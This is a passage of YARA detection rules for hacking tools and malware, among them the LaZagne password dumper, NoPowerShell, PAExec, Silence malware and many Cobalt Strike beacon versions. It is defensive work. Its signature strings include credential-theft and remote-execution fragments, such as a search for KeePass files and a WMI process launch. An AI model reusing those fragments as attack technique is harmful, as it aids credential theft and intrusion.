		description = "Detects BlackBone Driver injector"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/DarthTon/Blackbone"
		date = "2018-09-11"
		score = 60
		hash1 = "8062a4284c719412270614458150cb4abbdf77b2fc35f770ce9c45d10ccb1f4d"
		hash2 = "2d2fc27200c22442ac03e2f454b6e1f90f2bbc17017f05b09f7824fac6beb14b"
		hash3 = "e45da157483232d9c9c72f44b13fca2a0d268393044db00104cc1afe184ca8d1"
		id = "0d992a6c-c57a-5895-af0d-9c167d922601"

	strings:
		$s1 = "=INITtH=PAGEtA" fullword ascii
		$s2 = "BBInjectDll" fullword ascii
		$s3 = "LdrLoadDll" fullword ascii
		$s4 = "\\??\\pipe\\%ls" fullword wide
		$s5 = "Failed to retrieve Kernel base address. Aborting" fullword ascii
		$x2 = "BlackBone: %s: APC injection failed with status 0x%X" fullword ascii
		$x3 = "BlackBone: PDE_BASE/PTE_BASE not found " fullword ascii
		$x4 = "%s: Invalid injection type specified - %d" fullword ascii
		$x6 = "Trying to map C:\\windows\\system32\\cmd.exe into current process" fullword wide
		$x7 = "\\BlackBoneDrv\\bin\\" ascii
		$x8 = "DosDevices\\BlackBone" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 8000KB and ( 3 of them or 1 of ( $x* ) )
}

rule HKTL_SqlMap
{
	meta:
		description = "Detects sqlmap hacktool"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/sqlmapproject/sqlmap"
		date = "2018-10-09"
		hash1 = "9444478b03caf7af853a64696dd70083bfe67f76aa08a16a151c00aadb540fa8"
		id = "da2029dd-c4ce-557f-a409-c468fa3deef3"

	strings:
		$x1 = "if cmdLineOptions.get(\"sqlmapShell\"):" fullword ascii
		$x2 = "if conf.get(\"dumper\"):" fullword ascii

	condition:
		filesize < 50KB and 1 of them
}

rule HKTL_SqlMap_backdoor
{
	meta:
		description = "Detects SqlMap backdoors"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/sqlmapproject/sqlmap"
		date = "2018-10-09"
		id = "bf09caac-cf15-5936-b5b4-df4f28788961"

	condition:
		( uint32( 0 ) == 0x8e859c07 or uint32( 0 ) == 0x2d859c07 or uint32( 0 ) == 0x92959c07 or uint32( 0 ) == 0x929d9c07 or uint32( 0 ) == 0x29959c07 or uint32( 0 ) == 0x2b8d9c07 or uint32( 0 ) == 0x2b859c07 or uint32( 0 ) == 0x28b59c07 ) and filesize < 2KB
}

rule HKTL_Lazagne_PasswordDumper_Dec18_1
{
	meta:
		description = "Detects password dumper Lazagne often used by middle eastern threat groups"
		author = "Florian Roth (Nextron Systems)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		reference = "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"
		date = "2018-12-11"
		score = 85
		hash1 = "1205f5845035e3ee30f5a1ced5500d8345246ef4900bcb4ba67ef72c0f79966c"
		hash2 = "884e991d2066163e02472ea82d89b64e252537b28c58ad57d9d648b969de6a63"
		hash3 = "bf8f30031769aa880cdbe22bc0be32691d9f7913af75a5b68f8426d4f0c7be50"
		id = "bae48a4d-33b6-55b9-abf5-daf87e5da9e9"

	strings:
		$s1 = "softwares.opera(" ascii
		$s2 = "softwares.mozilla(" ascii
		$s3 = "config.dico(" ascii
		$s4 = "softwares.chrome(" ascii
		$s5 = "softwares.outlook(" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 17000KB and 1 of them
}

rule HKTL_Lazagne_Gen_18
{
	meta:
		description = "Detects Lazagne password extractor hacktool"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/AlessandroZ/LaZagne"
		license = "https://creativecommons.org/licenses/by-nc/4.0/"
		date = "2018-12-11"
		score = 80
		hash1 = "51121dd5fbdfe8db7d3a5311e3e9c904d644ff7221b60284c03347938577eecf"
		id = "034ea6d8-f5cf-5664-9ff9-24d19403093d"

	strings:
		$x1 = "lazagne.config.powershell_execute(" ascii
		$x2 = "creddump7.win32." ascii
		$x3 = "lazagne.softwares.windows.hashdump" ascii
		$x4 = ".softwares.memory.libkeepass.common(" ascii

	condition:
		2 of them
}

rule HKTL_NoPowerShell
{
	meta:
		description = "Detects NoPowerShell hack tool"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/bitsadmin/nopowershell"
		date = "2018-12-28"
		modified = "2022-12-21"
		hash1 = "2dad091dd00625762a7590ce16c3492cbaeb756ad0e31352a42751deb7cf9e70"
		id = "17d508d5-833f-5232-a071-dbed8758493b"

	strings:
		$x1 = "\\NoPowerShell.pdb" ascii
		$x2 = "Invoke-WmiMethod -Class Win32_Process -Name Create \"cmd" fullword wide
		$x3 = "ls C:\\Windows\\System32 -Include *.exe | select -First 10 Name,Length" fullword wide
		$x4 = "ls -Recurse -Force C:\\Users\\ -Include *.kdbx" fullword wide
		$x5 = "NoPowerShell.exe" fullword wide

	condition:
		1 of them
}

rule HKTL_htran_go
{
	meta:
		author = "Jeff Beley"
		hash1 = "4acbefb9f7907c52438ebb3070888ddc8cddfe9e3849c9d0196173a422b9035f"
		description = "Detects go based htran variant"
		date = "2019-01-09"
		id = "bd9409e3-3d4c-57d6-af60-b6d6bd93d46b"

	strings:
		$s1 = "https://github.com/cw1997/NATBypass" fullword ascii
		$s2 = "-slave ip1:port1 ip2:port2" fullword ascii
		$s3 = "-tran port1 ip:port2" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 7000KB and 1 of them
}

rule SUSP_Katz_PDB
{
	meta:
		description = "Detects suspicious PDB in file"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-02-04"
		hash1 = "6888ce8116c721e7b2fc3d7d594666784cf38a942808f35e309a48e536d8e305"
		id = "79f4f07c-b234-5203-a2ab-aba4a9cb9f8d"

	strings:
		$s1 = /\\Release\\[a-z]{0,8}katz.pdb/
		$s2 = /\\Debug\\[a-z]{0,8}katz.pdb/

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 6000KB and all of them
}

rule HKTL_LNX_Pnscan
{
	meta:
		description = "Detects Pnscan port scanner"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/ptrrkssn/pnscan"
		date = "2019-05-27"
		score = 55
		id = "46c6c0d9-08bb-5de3-ad14-c1a7ab0542c6"

	strings:
		$x1 = "-R<hex list>   Hex coded response string to look for." fullword ascii
		$x2 = "This program implements a multithreaded TCP port scanner." ascii wide

	condition:
		filesize < 6000KB and 1 of them
}

rule PAExec
{
	meta:
		description = "Detects remote access tool PAEXec (like PsExec) - file PAExec.exe"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/"
		date = "2017-03-27"
		score = 40
		hash1 = "01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc"
		id = "ee564534-b921-5639-a7ed-5da79d6bf86a"

	strings:
		$x1 = "Ex: -rlo C:\\Temp\\PAExec.log" fullword ascii
		$x2 = "Can't enumProcesses - Failed to get token for Local System." fullword wide
		$x3 = "PAExec %s - Execute Programs Remotely" fullword wide
		$x4 = "\\\\%s\\pipe\\PAExecIn%s%u" fullword wide
		$x5 = "\\\\.\\pipe\\PAExecIn%s%u" fullword wide
		$x6 = "%%SystemRoot%%\\%s.exe" fullword wide
		$x7 = "in replacement for PsExec, so the command-line usage is identical, with " fullword ascii
		$x8 = "\\\\%s\\ADMIN$\\PAExec_Move%u.dat" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and 1 of ( $x* ) ) or ( 3 of them )
}

rule HKTL_DomainPasswordSpray
{
	meta:
		description = "Detects the Powershell password spray tool DomainPasswordSpray"
		author = "Arnim Rupp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		reference = "https://github.com/dafthack/DomainPasswordSpray"
		date = "2023-01-13"
		score = 60
		hash1 = "44d4c0ae5673d2a076f3b5acdc83063aca49d58e6dd7cf73d0b927f83d359247"
		id = "890e4514-2846-54f8-8f32-cc9d2a4ef81b"

	strings:
		$s = "Invoke-DomainPasswordSpray" fullword ascii wide

	condition:
		filesize < 100KB and all of them
}

rule HKTL_RustHound
{
	meta:
		description = "Detect hacktool RustHound (Sharphound clone)"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2023-03-30"
		reference = "https://github.com/OPENCYBER-FR/RustHound"
		hash = "409f61a34d9771643246f401a9670f6f7dcced9df50cbd89a2e1a5c9ba8d03ab"
		hash = "b1a58a9c94b1df97a243e6c3fc2d04ffd92bc802edc7d8e738573b394be331a9"
		hash = "170f4a48911f3ebef674aade05184ea0a6b1f6b089bcffd658e95b9905423365"
		hash = "e52f6496b863b08296bf602e92a090768e86abf498183aa5b6531a3a2d9c0bdb"
		hash = "847e57a35df29d40858c248e5b278b09cfa89dd4201cb24262c6158395e2e585"
		hash = "4edfed92b54d32a58b2cfc926f98a56637e89850410706abcc469a8bc846bc85"
		hash = "feba0c16830ea0a13819a9ab8a221cc64d5a9b3cc73f3c66c405a171a2069cc1"
		hash = "21d37c2393a6f748fe34c9d2f52693cb081b63c3a02ca0bebe4a584076f5886c"
		hash = "874a1a186eb5808d456ce86295cd5f09d6c819375acb100573c2103608af0d84"
		hash = "bf576bd229393010b2bb4ba17e49604109e294ca38cf19647fc7d9c325f7bcd1"
		id = "d2fd79a5-9a1a-51de-920c-61653c8b0064"

	strings:
		$rh1 = "rusthound" fullword ascii wide
		$rh2 = "Making json/zip files finished!" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0x457f ) and 1 of ( $rh* )
}

rule VULN_PHP_Hack_Backdoored_Zlib_Zerodium_Mar21_1
{
	meta:
		description = "Detects backdoored PHP zlib version"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.bleepingcomputer.com/news/security/phps-git-server-hacked-to-add-backdoors-to-php-source-code/"
		date = "2021-03-29"
		id = "5e0ab8f8-776a-52b0-b5be-ff1d34bccfd1"

	strings:
		$x1 = "REMOVETHIS: sold to zerodium, mid 2017" fullword ascii
		$x2 = "HTTP_USER_AGENTT" ascii fullword

	condition:
		filesize < 3000KB and all of them
}

import "pe"

rule Silence_malware_1
{
	meta:
		description = "Detects malware sample mentioned in the Silence report on Securelist"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/the-silence/83009/"
		date = "2017-11-01"
		hash1 = "f24b160e9e9d02b8e31524b8a0b30e7cdc66dd085e24e4c58240e4c4b6ec0ac2"
		id = "f932e3fe-a2d7-55b7-b581-88c0ed45723e"

	strings:
		$x1 = "adobeudp.exe" fullword wide
		$x2 = "%s\\adobeudp.exeZone.Identifier" fullword ascii
		$x3 = "%s\\igfxpers_%08x.exe" fullword ascii
		$x4 = "%s\\adobeudp.exe" fullword ascii
		$s1 = "SoftWare\\MicroSoft\\Windows\\CurrentVersion\\Run" fullword ascii
		$s2 = "Copyright (C)  1999 - 2017" fullword wide
		$s3 = "%sget.php?name=%x" fullword ascii
		$s4 = "VNASSRUNXYC" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "e03edb9bd7cbe200dc59f361db847f8a" or 1 of ( $x* ) or 3 of them )
}

import "pe"

rule Silence_malware_2
{
	meta:
		description = "Detects malware sample mentioned in the Silence report on Securelist"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/the-silence/83009/"
		date = "2017-11-01"
		hash1 = "75b8f534b2f56f183465ba2b63cfc80b7d7d1d155697af141447ec7144c2ba27"
		id = "e4c7d753-fd04-5e11-9960-1ad238039c11"

	strings:
		$x1 = "\\ScreenMonitorService\\Release\\smmsrv.pdb" ascii
		$x2 = "\\\\.\\pipe\\{73F7975A-A4A2-4AB6-9121-AECAE68AABBB}" fullword ascii
		$s1 = "My Sample Service: ServiceMain: SetServiceStatus returned error" fullword ascii
		$s2 = "\\mss.exe" ascii
		$s3 = "\\out.dat" ascii
		$s4 = "\\mss.txt" ascii
		$s5 = "Default monitor" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and ( pe.imphash ( ) == "69f3ec173efb6fd3ab5f79e0f8051335" or ( 1 of ( $x* ) or 3 of them ) ) ) or ( 5 of them )
}

rule CobaltStrike_Resources_Artifact32_and_Resources_Dropper_v1_49_to_v3_14
{
	meta:
		description = "Cobalt Strike's resources/artifact32{.exe,.dll,big.exe,big.dll} and resources/dropper.exe signature for versions 1.49 to 3.14"
		hash = "40fc605a8b95bbd79a3bd7d9af73fbeebe3fada577c99e7a111f6168f6a0d37a"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "243e3761-cbea-561c-97da-f6ba12ebc7ee"

	strings:
		$payloadDecoder = { 8B [2] 89 ?? 03 [2] 8B [2] 03 [2] 0F B6 18 8B [2] 89 ?? C1 ?? 1F C1 ?? 1E 01 ?? 83 ?? 03 29 ?? 03 [2] 0F B6 00 31 ?? 88 ?? 8B [2] 89 ?? 03 [2] 8B [2] 03 [2] 0F B6 12 }

	condition:
		any of them
}

rule CobaltStrike_Resources_Artifact32_v3_1_and_v3_2
{
	meta:
		description = "Cobalt Strike's resources/artifact32{.dll,.exe,svc.exe,big.exe,big.dll,bigsvc.exe} and resources/artifact32uac(alt).dll signature for versions 3.1 and 3.2"
		hash = "4f14bcd7803a8e22e81e74d6061d0df9e8bac7f96f1213d062a29a8523ae4624"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "4fff7f42-9f50-5945-8ec0-2438ac5c7000"

	strings:
		$decoderFunc = { 89 ?? B? 04 00 00 00 99 F7 FF 8B [2] 8A [2] 30 ?? 8A ?? 4? 88 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Artifact32_v3_14_to_v4_x
{
	meta:
		description = "Cobalt Strike's resources/artifact32{.dll,.exe,big.exe,big.dll,bigsvc.exe} signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x and resources/artifact32uac.dll for v3.14 and v4.0"
		hash = "888bae8d89c03c1d529b04f9e4a051140ce3d7b39bc9ea021ad9fc7c9f467719"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "8a010305-dce5-55f4-b2dd-a736721efe22"

	strings:
		$pushFmtStr = {	C7 [3] 5C 00 00 00 C7 [3] 65 00 00 00 C7 [3] 70 00 00 00 C7 [3] 69 00 00 00 C7 [3] 70 00 00 00 F7 F1 C7 [3] 5C 00 00 00  C7 [3] 2E 00 00 00 C7 [3] 5C 00 00 00 }
		$fmtStr = "%c%c%c%c%c%c%c%c%cMSSE-%d-server"

	condition:
		all of them
}

rule CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x
{
	meta:
		description = "Cobalt Strike's resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x)"
		hash = "871390255156ce35221478c7837c52d926dfd581173818620b738b4b029e6fd9"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "732169be-e334-5774-b0ac-54b217a8b681"

	strings:
		$decoderFunc = { 89 ?? B? 04 00 00 00 99 F7 FF 8B [2] 8A [2] 30 }

	condition:
		$decoderFunc
}

rule CobaltStrike_Resources_Artifact64_v1_49_v2_x_v3_0_v3_3_thru_v3_14
{
	meta:
		description = "Cobalt Strike's resources/artifact64{.dll,.exe,big.exe,big.dll,bigsvc.exe,big.x64.dll} and resources/rtifactuac(alt)64.dll signature for versions v1.49, v2.x, v3.0, and v3.3 through v3.14"
		hash = "9ec57d306764517b5956b49d34a3a87d4a6b26a2bb3d0fdb993d055e0cc9920d"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "67902782-500e-5a89-8b2a-59ee21bcba3e"

	strings:
		$a = { 8B [2] 48 98 48 [2] 48 [3] 8B [2] 48 98 48 [3] 44 [3] 8B [2] 89 ?? C1 ?? 1F C1 ?? 1E 01 ?? 83 ?? 03 29 ?? 48 98 48 [3] 0F B6 00 44 [2] 88 }

	condition:
		$a
}

rule CobaltStrike_Resources_Artifact64_v3_1_v3_2_v3_14_and_v4_0
{
	meta:
		description = "Cobalt Strike's resources/artifact64{svcbig.exe,.dll,big.dll,svc.exe} and resources/artifactuac(big)64.dll signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x"
		hash = "2e7a39bd6ac270f8f548855b97c4cef2c2ce7f54c54dd4d1aa0efabeecf3ba90"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "c9e9b8e0-16fe-5abc-b1fe-0e3e586f6db6"

	strings:
		$decoderFunction = { 31 ?? EB 0F 41 [2] 03 47 [3] 44 [3] 48 [2] 39 ?? 41 [2] 7C EA 4C [6] E9 }

	condition:
		$decoderFunction
}

rule CobaltStrike_Resources_Artifact64_v3_14_to_v4_x
{
	meta:
		description = "Cobalt Strike's resources/artifact64{.exe,.dll,svc.exe,svcbig.exe,big.exe,big.dll,.x64.dll,big.x64.dll} and resource/artifactuac(alt)64.exe signature for versions v3.14 through v4.x"
		hash = "decfcca0018f2cec4a200ea057c804bb357300a67c6393b097d52881527b1c44"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "1c7731d3-429b-57aa-9c17-8de7d0841b1e"

	strings:
		$fmtBuilder = {
			41 ?? 5C 00 00 00
			C7 [3] 5C 00 00 00
			C7 [3] 65 00 00 00
			C7 [3] 70 00 00 00
			C7 [3] 69 00 00 00
			C7 [3] 70 00 00 00
			C7 [3] 5C 00 00 00
			C7 [3] 2E 00 00 00
			89 [3]
			48 [6]
			E8
		}
		$fmtString = "%c%c%c%c%c%c%c%c%cMSSE-%d-server"

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v1_44
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Version 1.44"
		hash = "75102e8041c58768477f5f982500da7e03498643b6ece86194f4b3396215f9c2"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "935ee27f-ce1b-5491-b4a3-cb78f199ab1b"

	strings:
		$version_sig = { 0F B7 D2 4A 53 8B D9 83 FA 04 77 36 FF 24 }
		$decode = { B1 ?? 30 88 [4] 40 3D 28 01 00 00 7C F2 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v1_45
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Version 1.45"
		hash = "1a92b2024320f581232f2ba1e9a11bef082d5e9723429b3e4febb149458d1bb1"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "04d4d0ee-f1ee-5888-8108-ca55243c770a"

	strings:
		$version_sig = { 51 0F B7 D2 4A 53 56 83 FA 08 77 6B FF 24 }
		$decode = { B1 ?? 30 88 [4] 40 3D 28 01 00 00 7C F2 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v1_46
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Version 1.46"
		hash = "44e34f4024878024d4804246f57a2b819020c88ba7de160415be38cd6b5e2f76"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "79715042-1963-5e48-8b64-7d915da58d84"

	strings:
		$version_sig = { 8B F2 83 F9 0C 0F 87 8E 00 00 00 FF 24 }
		$decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 7C F2 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v1_47
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Version 1.47"
		hash = "8ff6dc80581804391183303bb39fca2a5aba5fe13d81886ab21dbd183d536c8d"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "ac2249a9-210c-581f-8dd1-7619356dca7d"

	strings:
		$version_sig = { 83 F8 12 77 10 FF 24 }
		$decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v1_48
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Version 1.48"
		hash = "dd4e445572cd5e32d7e9cc121e8de337e6f19ff07547e3f2c6b7fce7eafd15e4"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "dd15099f-ad19-58df-9ed4-ce66d7ee8540"

	strings:
		$version_sig = { 48 57 8B F1 8B DA 83 F8 17 77 12 FF 24 }
		$decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 7C F2 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v1_49
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Version 1.49"
		hash = "52b4bd87e21ee0cbaaa0fc007fd3f894c5fc2c4bae5cbc2a37188de3c2c465fe"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "871e28c9-b580-5a32-8529-2290ded1a1b6"

	strings:
		$version_sig = { 48 56 83 F8 1E 0F 87 23 01 00 00 FF 24 }
		$decoder = { B1 ?? 90 30 88 [4] 40 3D A8 01 00 00 7C F2 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v2_0_49
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Version 2.0.49"
		hash = "ed08c1a21906e313f619adaa0a6e5eb8120cddd17d0084a30ada306f2aca3a4e"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "087c584a-5ceb-536a-8842-53fbd668df54"

	strings:
		$version_sig = { 83 F8 22 0F 87 96 01 00 00 FF 24 }
		$decoder = { B1 ?? EB 03 8D 49 00 30 88 [4] 40 3D 30 05 00 00 72 F2  }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v2_1_and_v2_2
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 2.1 and 2.2"
		hash = "ae7a1d12e98b8c9090abe19bcaddbde8db7b119c73f7b40e76cdebb2610afdc2"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "384fb247-aae7-52e1-a45d-6bda0f80a04e"

	strings:
		$version_sig = { 49 56 57 83 F9 24 0F 87 8A 01 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v2_3
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 2.3"
		hash = "00dd982cb9b37f6effb1a5a057b6571e533aac5e9e9ee39a399bb3637775ff83"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "aed092f1-fbb1-5efe-be8d-fb7c5aba1cde"

	strings:
		$version_sig = { 49 56 57 83 F9 26 0F 87 A9 01 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v2_4
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 2.4"
		hash = "78c6f3f2b80e6140c4038e9c2bcd523a1b205d27187e37dc039ede4cf560beed"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "347a6b06-84a8-53ff-80a1-05fa1a48a412"

	strings:
		$version_sig = { 4A 56 57 83 FA 2F 0F 87 F9 01 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v2_5
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 2.5"
		hash = "d99693e3e521f42d19824955bef0cefb79b3a9dbf30f0d832180577674ee2b58"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "a89f9239-099c-5b97-b1df-e8ce2b95ea52"

	strings:
		$version_sig = { 48 57 8B F2 83 F8 3A 0F 87 6E 02 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v3_0
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 3.0"
		hash = "30251f22df7f1be8bc75390a2f208b7514647835f07593f25e470342fd2e3f52"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "132a1be8-f529-5141-ba03-fdf6df3d55d4"

	strings:
		$version_sig = { 48 57 8B F2 83 F8 3C 0F 87 89 02 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v3_1
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 3.1"
		hash = "4de723e784ef4e1633bbbd65e7665adcfb03dd75505b2f17d358d5a40b7f35cf"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "aa511dee-69ea-53bd-be90-d2d03d08c550"

	strings:
		$version_sig = { 55 8B EC 83 EC 58 A1 [4] 33 C5 89 45 FC E8 DF F5 FF FF 6A 50 8D 45 A8 50 FF 15 [4] 8D 45 ?? 50 FF 15 [4] 85 C0 74 14 8B 40 0C 83 38 00 74 0C 8B 00 FF 30 FF 15 [4] EB 05 B8 [4] 8B 4D FC 33 CD E8 82 B7 00 00 C9 }
		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v3_2
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 3.2"
		hash = "b490eeb95d150530b8e155da5d7ef778543836a03cb5c27767f1ae4265449a8d"
		rs2 = "a93647c373f16d61c38ba6382901f468247f12ba8cbe56663abb2a11ff2a5144"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "3ccbc0f2-241c-5c10-8930-4a3d264d3b57"

	strings:
		$version_sig = { 48 57 8B F2 83 F8 3D 0F 87 83 02 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
		$version3_1_sig = { 55 8B EC 83 EC 58 A1 [4] 33 C5 89 45 FC E8 DF F5 FF FF 6A 50 8D 45 A8 50 FF 15 [4] 8D 45 ?? 50 FF 15 [4] 85 C0 74 14 8B 40 0C 83 38 00 74 0C 8B 00 FF 30 FF 15 [4] EB 05 B8 [4] 8B 4D FC 33 CD E8 82 B7 00 00 C9 }

	condition:
		$version_sig and $decoder and not $version3_1_sig
}

rule CobaltStrike_Resources_Beacon_Dll_v3_3
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 3.3"
		hash = "158dba14099f847816e2fc22f254c60e09ac999b6c6e2ba6f90c6dd6d937bc42"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "7cce26c9-1403-535f-bd9d-19667c7e313c"

	strings:
		$version_sig = { 48 57 8B F1 83 F8 41 0F 87 F0 02 00 00 FF 24 }
		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }

	condition:
		all of them
}

rule CobaltStrike_Resources_Beacon_Dll_v3_4
{
	meta:
		description = "Cobalt Strike's resources/beacon.dll Versions 3.4"
		hash = "5c40bfa04a957d68a095dd33431df883e3a075f5b7dea3e0be9834ce6d92daa3"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "58a34ab6-c061-59a2-b929-8519d3d844e7"

	strings:
		$version_sig = { 48 57 8B F1 83 F8 42 0F 87 F0 02 00 00 FF 24 }
